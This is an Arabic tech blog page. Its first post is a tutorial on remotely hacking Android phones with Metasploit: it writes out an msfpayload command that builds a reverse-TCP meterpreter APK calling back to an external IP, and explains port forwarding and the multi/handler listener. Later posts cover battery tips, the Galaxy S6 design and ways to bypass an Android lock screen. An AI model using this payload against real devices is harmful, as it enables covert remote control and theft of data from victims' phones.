سيناريو اختراق الاندرويد عن بعد – خارج الشبكة Android Pentest

Android Pentest سيناريو اختراق الاندرويد عن بعد – خارج الشبكة 

السلام عليكم

سوف نشرح موضوع مهم الكثير يسئل عنه في اختبار الاختراق وهو

اختراق الاندرويد عن بعد – من خارج الشبكة

طبعاً الاختراق يتم عبر الميتاسبلويت وسوف نشرح فقط جزئية الاختراق الخارجي لن نتطرق الى التفاصيل لأنها موضوع اخر.

مع تنامي توسع نظام اندرويد على الهواتف كان ولا بد من تطوير ايضاً من ملفات لأختراقه وفحصة ايضاً.

دعونا نبداء بالتطبيق اولاً الاختراق لا يختلف عن اختراق الاجهزه او المنصات الاخرى فقط الجديد هو

android/meterpreter/reverse_tcp

امر انشاء البايلود

msfpayload android/meterpreter/reverse_tcp lhost=131.117.163.30 LPORT=1234 R > Desktop/shaja.apk

امر انشاء بايلود

 LHOSTطبعاً نركز عنا في

مش لازم يعني تضع هنا الايبي الداخلي لجهازك في الشبكة ويعني الايبي الخاص بك الذي الضحية سوف يقوم الاتصال به .

هنا نضع الايبي الخارجي وتستطيع الحصول عليه من الروتر تبعك او بزيارة احد المواقع مثل

الرابط

هنا النقطه الهامه في الانشاء

بعد صنع البايلود وأرسالة للهدف نبداء نستقبل الاتصال عبر

multi/handler 

نحن  وضعنا الايبي الخارجي كيف نستقبل الضحيه ويصل الى جهاز المخترق .

الامر يتم هنا مثل طريقة اختراق الاجهزه يتم فتح بورت للأيبي الخاص بجهاز المخترق الداخلي في الشبكة بالبورت الي تم تحديده اثناء صنع البايلود.

كما في الصورة فتح بورت داخل الشبكة وأعادة توجيه الاتصالات الى الايبي الخاص بجهاز المخترق

طبعاً يتم جلب الايبي في الشبكة عبر الامر

ifconfig

فتحنا الان البورت لعنوان الايبي تبعنا ونبداء التنصت على البايلود الي انشأناه

وندخل كما تحدثنا البورت والايبي الداخلي في التنصت وهنا النقطة في الاختراق الخارجي ما بين انشاء البايلود والتنصت

نبداء بالامر run وونتظر حتى يتم الاتصال

وبعد الاتصال سوف تشاهد عنوان الايبي الخارجي الخاص بالضحية

 

كما نلاحظ تم الاختراق بالايبي الخارجي .

والنظام المخترق اندوريد

sysinfoنجلب المعلومة عبر الامر 

نرجوا بأن تكون الفكرة قد وصلتكم.

انتظرونا في دروس اخرى.

تحياتي

إقرأ المزيد

أسطورة أم حقيقة:هل الخلفية السوداء تساعد على توفير عمر بطارية الهاتف ؟

أسطورة أم حقيقة:هل الخلفية السوداء تساعد على توفير عمر بطارية الهاتف ؟

يمكن للخلفيات المظلمة أن تساعدك في الحفاظ على بطارية جهازك. ولكن هل هذا صحيح حقا؟ كل شيء يعتمد على شاشة جهازك. فتكنولوجيا AMOLED تسمح لك للحد من كمية الطاقة المستخدمة، ولكن، إذا كان جهازك به أنواع أخرى من الشاشات ، وبالتأكيد أنك لن تحصل على وجود تحسن في الأداء فقط عن طريق تغيير خلفية هاتفك !

على عكس تقنية LED، شاشات AMOLED  لا تحتاج إلى الإضاءة الخلفية للعمل. وعلاوة على ذلك، فإن شاشات AMOLED يتكون كل بكسل فرعي فيها من الأضواء الصغيرة الزرقاء ، حمراء أو خضراء.لذلك لإظهار الضوء الأسود، ليس من الضروري منع أي ضوء، لأن الشيء الوحيد الذي سوف يحدث هو أن أيا من ألوان بكسل الفرعية الصغيرة سوف يتم تفعيلها.

نظريا بهذه الطريقة، البكسلات السوداء تساعد الجهاز لتوفير عمر البطارية، كما يتم تعطيل تماما هذه البكسلات . ومع ذلك، فإن العديد من الناس في نهاية المطاف قد يعتقد أن أي درجة من اللون الأسود ستكون له نفس الكفاءة،كاللون الرمادي مثلا ،وهذا خطأ طبعا .

تجربة 

قرر Ryan Whtwam، من موقع Green Bot لاختبار كفاءة اللون الأسود في شاشة AMOLED  . حيث تمت التجربة لمدة 30 دقيقة على الشاشة باستخدام تطبيقReddit Sync، سواء في الوضع العادي (بالألوان)،والوضع الليلي (باستخدام "اللون الأسود ").

نتيجة هذه التجربة أخلصت أن الشاشة السوداء استخدمت41٪ من طاقة أقل من الشاشة الملونة.

إذا كنت تستخدم الهاتف في كثير من الأحيان، يجب أن تعرف أن الشاشة هي واحدة من المكونات التي تستهلك المزيد من طاقة بطارية الجهاز.لذلك، إذا كنت تستخدم التطبيقات باللون الأسود ، فهذا يعني أنك سوف تحفظ بطارية جهازك  بمقدار يصل بين 15-20٪. وتختلف هذه القيمة تبعا لطريقة استخدام الجهاز.

 إذا كان هاتفك بشاشة اخرى غيرAMOLED   ، فيمكنك استخدام  تطبيقPixel Battery Saver  كبديل لتوفير البطارية.الذي يسمح لك بإعداد الشاشة كوسيلة لتوفير طاقة البطارية.فالتطبيق يستخدم حيلة مثيرة للاهتمام ، إذ يقوم  من تقليل دقة العرض الكلي، ويقلل من عدد البكسلات الفعالة.مما يضيف لك بعض الدقائق في هاتفك الذكي .

إقرأ المزيد

أخيراً الكشف عن التصميم النهائي لهاتف سامسونغ "Galaxy S6"

أخيراً الكشف عن التصميم النهائي لهاتف سامسونغ "Galaxy S6"

إنّه التصميم النهائي لأبرز هاتف ذكي منتظر بقوة هذه السنة من محبّي شركة "سامسونغ" ولقد كشفت الشركة في خبر رسمي عن التصميم الأخير الذي سيخرج به الهاتف إلى الأسواق.

ونشرت الشركة المصنّعة صوراً لتصميم الهاتف الجديد على موقع Weibo كما قامت بنشرها أيضا مدونة BGR الأمريكية, وهذه الصور تبرز نفس شكل تصميم الهاتف الذي شاهدناه الأسبوع الفارط بتوفر حواف إطار الهاتف المنتظر على خمسة ألوان هي (الأسود و الأبيض و الفضّي و الأخضر و الوردي), إلا أن الشركة المصنعة أضافت بعض التعديلات في خصوص اللاّاقط الموجود بجانب الكاميرا مشيرة إلا انه لا يتموضع بشكل مناسب مع الكاميرا مع جعل مكان "الفلاش" بجانب الكاميرا وليس أسفل منها كما هو معهود في مختلف هواتفها السابقة S3 و S4 وS5 , كما أن المُصنعين لم يوافقوا على موضع شعار SAMSUNG على الهاتف وضرورة إضافة بعد التعديلات فيما يخصه.

ومن خلال ما نشرته "سامسونغ" تبين أنه بعد هذه التغييرات سيكون هذا التصميم هو الشكل النهائي لهاتف Samsung Galaxy S6. ويأتي هذا الخبر لتفنيذ أي شائعات تم ترويجها حول شكل هاتف سامسونغ المنتظر إطلاقه في الأسواق بعد شهور قليلة.

إقرأ المزيد

طريقة لتسريع هاتف سامسونج جالاكسي اس 4 :

طريقة تسريع هاتف سامسونغ جالاكسي اس 4

هل شعر أحدكم عندما قام بالضغط على زر البداية الخاص بهاتف جالاكسي اس 4 أن رد فعله بطيء بعض الشئ؟ بالتأكيد الهاتف الذكي جالاكسي اس 4 سريع جداً على ما هو عليه و لكن هل يمكننا أن نفعل ما يجعله أسرع من ما هو عليه فى الوقت الحالى؟

تعلمون جميعا أن خاصية اس فويس  الموجودة هاتف جالاكسي اس 4 تعمل من خلال النقر المزدوج على زر البداية بشكل افتراضي و هذا يعني أنه عندما نقوم بالضغط على زر البداية الموجود فى جالاكسي اس 4 مرة واحدة، فإنه ينتظر لبضع لحظات من اجل ان يتيقن ما إذا كان هناك ضغطة أخرى قادمة في الطريق لتشغيل إس فويس ام لا حينها يفهم أنكم ترغبون الذهاب إلى الشاشة الرئيسية ويرسلكم إلى هناك، هذا هو سبب التأخير الصغير الموجود فى جالاكسي اس 4 و الذي يمكن تقليصه ببساطة عن طريق تعطيل اختصار خدمة اس فويس.
من أجل القيام بذلك، نحن بحاجة لفتح اس فويس أولاً، ثم ننتقل إلى إعدادات Setting، وإلغاء “الفتح عبر زر البداية” ” Open via the home key”، وحينما يتم ذلك، ستتمتعون بسرعة أكثر استجابة من زر البداية لهواتف التي لديها إس فويس و التى منها جالاكسي اس 4 بالأضافة الى جالاكسي إس 3 وإس 4 ونوت 2 و لكن سوف يكون لديكم كذلك إمكانية فتح إس فويس من خلال آيقونة التطبيق.

 

إقرأ المزيد

إليك 5 طرق مختلفة لتجاوز باسورد هواتف الاندرويد

إليك 5 طرق مختلفة لتجاوز باسورد هواتف الاندرويد

أي شخص يمكن أن ينسى نمط فتح أو كلمة المرور لهاتفه الذكي أو جهازه اللوحي بنظام الأندرويد، ودائما السؤال هنا هو كيفية فتحه بوسائل أخرى .في الحقيقة هناك عدة خيارات مختلفة للقيام بذلك، بعضها أكثر تعقيدا والتي تتطلب مهارات معينة، أما الأخرى فهي سهلة وبامكانك القيام بها دون الحاجة لتكون محترفا في الاندرويد.وفي هذه التدوينة سنتعرف جميعاً على الطرق المختلفة التي يمكنك الاستعانة بها لفتح جهازك المقفل .

 الطريقة 1: استعمال حسابك في جوجل 

إذا حاولت لعدة مرات فتح الجهاز ولم تنجح،سيقترح عليك نظام الأندرويد استعمال حسابك الخاص في جوجل لفتج جهازك .فيكفي أن تقوم بادخال بريدك الالكتروني و كلمة السر لتتمكن من الوصول إلى اعدادات الجهاز ويمكن تغيير أو إزالة كلمة المرور من هناك . بالتأكيد السلبية الوحيدة لهذه الطريقة هي ضرورة وجود الانترنت في هاتفك سواء تعلق الأمر باتصال 3G أو الواي فاي!

الطريقة 2: الاتصال بهاتفك من هاتف أخر

الطريقة لا تعمل إلا إذا كان الهاتف الذكي مع بطاقة SIM . في هذه الحالة يمكنك اجراء مكالمة هاتفية إلى هاتفك وأثناء الاجابة على المكالمة يمكنك الوصول إلى الإعدادات وتغيير نمط أو كلمة المرور.طبعا بعض الهواتف ونسخ الأندرويد لا تدعم هذه الخاصية ، التي يمكن اعتبارها ثغرة امنية !

الطريقة 3: الإجابة على سؤال الأمان أو كود PIN

من بين الخيارات المتاحة كذلك هي الاجابة على سؤال الأمان. فعندما تقوم بعدة محاولات لفتح الجهاز يقترح عليك نظام الاندرويد طريقتين: الأولى هي استعمال حسابك جوجل ( الطريقة 1)، والثانية هي الإجابة على سؤال الأمان الذي تم تحديده مسبقا عند إنشاء نمط أو كلمة المرور ويشمل هذا الامر كذلك كود PIN .من سلبيات الطريقة عدم توفرها الا في بعض نسخ الاندرويد.

الطريقة 4: استعادة وضع المصنع

إذا كنت لا تستطيع فتح هاتفك أو جهازك اللوحي  مع أي من الطرق المذكورة أعلاه تحتاج فقط لإعادته إلى وضع المصنع. وعند القيام بذلك تفقد للأسف كل البيانات والتطبيقات الموجودة في الهاتف ، ولكنها طريقة مجدية وتعمل في جميع الأجهزة ونسخ الاندرويد .طبعا الوصول لوضع المصنع يختلف مع اختلاف الاجهزة، لكن على العموم ، يكفي ان تقوم بالضغط على زر الطاقة ، وزر زيادة الصوت (في بعض الأجهزة تحتاج كذلك للضغط على زر Home ).

الطريقة 5: تغيير ملف حفظ الباسورد في النظام 

طبعا هذه الطريقة هي متقدمة وتحتاج لتكون ملم ببعض الأشياء في نظام الاندرويد ،هذا الحل يعتمد على تغيير ملف حفظ الباسورد في نظام الاندرويد عن طريق الحاسوب ، ويمكنك قراءة المزيد عن هذه الطريقة مع الشرح لكيفية القيام بها خطوة بخطوة من خلال هذا الرابط .

إقرأ المزيد

3 أشياء يمكنك القيام بها في نظام الأندرويد بدون عمل رووت "Root" لهاتفك !

3 أشياء يمكنك القيام بها في نظام الأندرويد بدون عمل رووت "Root" لهاتفك !

بعد الاستعمال الطويل لهاتفك الذكي تكون بحاجة لعمل بعض التغييرات عليه، لكن ربما قد سمعت أنك بحاجة لعمل رووت "Root" لنظام الاندرويد من أجل القيام بهذه التغييرات ، وكذا الوصول الكامل لكافة إعدادات النظام دون قيد . ولكن الأمر ليس كذلك! لأنه يمكنك عمل بعض التغييرات في هاتفك دون الخوف من فقدان الضمان .

1 .تغيير الشاشة الرئيسية والتصميم العام 

في أغلب الأحيان، تشعر بملل كبير من استعمال نفس الثيم والأيقونات في هاتفك، لذلك نظام الاندرويد يسمح لك بعمل تغيير جدري في التصميم والشاشة الرئيسية لهاتفك من خلال العشرات والمئات من قاذفات التطبيقات المنشورة في متجر جوجل بلاي بمختلف التصميمات والمميزات التي تعطي لهاتفك حياة أخرى ومنظر اخر .بل ويمكنك التمتع بتصميمات النظم الأخرى كنظام ويندوز فون ،وكذلك IOS. هذا بالاضافة إلى مجموعة من قاذفات أخرى التي يمكنك التعديل عليها بما يناسبك . 

2. تغيير شاشة القفل

من الأشياء كذلك التي يمكنك القيام بها في نظام الأندرويد بدون الحاجة "للرووت " هي تغيير شاشة القفل ، الشاشة التي تراها عند تشغيل الهاتف الذكي الخاص بك . هناك أيضا عدد كبير من التطبيقات الخاصة لهذه الشاشة التي يمكنك تحميلها من متجر جوجل بلاي  . وهنا أقترح عليك تطبيق SlideLock  على سبيل المثال .

3. تثبيت لوحة مفاتيح جديدة

إذا كنت تستخدم الهاتف الذكي، فأنت  دائما تستخدم لوحة المفاتيح .لهذا إذا كنت تشعر بالملل من لوحة المفاتيح الافتراضية التي تأتي مع نظام الاندرويد فأنت مدعو لتجربة بعض لوحات المفاتيح الأخرى المتوفرة على متجر جوجل بلاي ، والتي تتميز بتصميمات مغايرة وكذلك طرق أخرى غير تقيلدية في الكتابة .وعلي سبيل المثال ، SwiftKey  ،وكذلك Minuum .

بالإضافة إلى استبدال لوحة المفاتيح، والشاشة الرئيسية وشاشة القفل، يمكنك كذلك استبدال التطبيقات المفضلة لديك بشيء جديد. على سبيل المثال،مشغل الموسيقى الافتراضي وغيرها. بشكل عام، هناك العديد من الطرق لإعادة بث الحياة في هاتفك وتغيير مظهره .لكن الكيفية واختيار التطبيقات هو أمر متروك لك. 

إقرأ المزيد